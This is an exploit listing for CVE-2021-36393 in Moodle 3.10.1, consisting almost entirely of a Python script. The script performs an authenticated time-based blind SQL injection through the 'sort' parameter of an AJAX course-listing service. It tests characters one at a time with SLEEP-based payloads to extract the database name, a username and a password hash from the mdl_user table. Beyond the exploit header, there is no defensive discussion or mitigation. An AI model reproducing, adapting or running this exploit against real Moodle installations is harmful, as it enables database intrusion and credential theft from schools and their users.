Moodle 3.10.1 SQL Injection

# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter# Google Dork: # Date: 04/11/2023# Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx)# Vendor Homepage: https://moodle.org/# Software Link: # Version: 3.10.1# Tested on: Linux# CVE : CVE-2021-36393import requestsimport stringfrom termcolor import colored# Request detailsURL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification"HEADERS = {    "Accept": "application/json, text/javascript, */*; q=0.01",    "Content-Type": "application/json",    "X-Requested-With": "XMLHttpRequest",    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36",    "Origin": "http://127.0.0.1:8080",    "Referer": "http://127.0.0.1:8080/moodle/my/",    "Accept-Encoding": "gzip, deflate",    "Accept-Language": "en-US,en;q=0.9",    "Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0",    "Connection": "close"}# Characters to testcharacters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/"def test_character(payload):    response = requests.post(URL, headers=HEADERS, json=[payload])    return response.elapsed.total_seconds() >= 3def extract_value(column, label):    base_payload = {        "index": 0,        "methodname": "core_course_get_enrolled_courses_by_timeline_classification",        "args": {            "offset": 0,            "limit": 0,            "classification": "all",            "sort": "",            "customfieldname": "",            "customfieldvalue": ""        }    }    result = ""    for _ in range(50):  # Assumes a maximum of 50 characters for the value        character_found = False        for character in characters_to_test:            if column == "database()":                base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)"            else:                base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)"                        if test_character(base_payload):                result += character                print(colored(f"{label}: {result}", 'red'), end="\r")                character_found = True                break        if not character_found:            break    # Print the final result    print(colored(f"{label}: {result}", 'red'))if __name__ == "__main__":    extract_value("database()", "Database")    extract_value("username", "Username")    extract_value("password", "Password")